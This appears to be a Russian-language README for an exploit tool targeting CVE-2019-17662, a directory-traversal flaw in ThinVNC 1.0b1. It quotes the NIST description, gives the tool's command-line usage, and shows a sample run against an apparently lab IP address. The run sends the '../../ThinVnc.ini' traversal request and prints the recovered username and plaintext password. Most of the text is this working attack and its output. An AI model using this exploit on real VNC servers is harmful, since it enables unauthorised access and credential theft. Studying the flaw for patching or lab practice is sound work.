CVE-2019-17662

Описание

ThinVNC 1.0b1 уязвим к произвольному чтению файлов, что приводит к компрометации VNC-сервера. Уязвимость существует даже при включённой аутентификации во время развёртывания VNC-сервера. Пароль для аутентификации хранится в открытом виде в файле, который можно прочитать с помощью вектора атаки через обход каталога ../../ThinVnc.ini.

~ NIST

Использование

$ ./bin/CVE-2019-17662 -h
[~] Usage: ./CVE-2019-17662 -u URL [-f File]

[>] Options:
OPTIONS 	Desciption
-u URL 		Base URL
-f File 	[Optional] File Name To Query (Default: ThinVnc.ini)

$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 exploit by @whokilleddb
[o] Target : http://10.10.185.214:8080/
[x] File To Read: ThinVnc.ini
[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] Trying To Fetch Credentials
[-] User=Atlas
[-] Password=H0ldUpTheHe@vens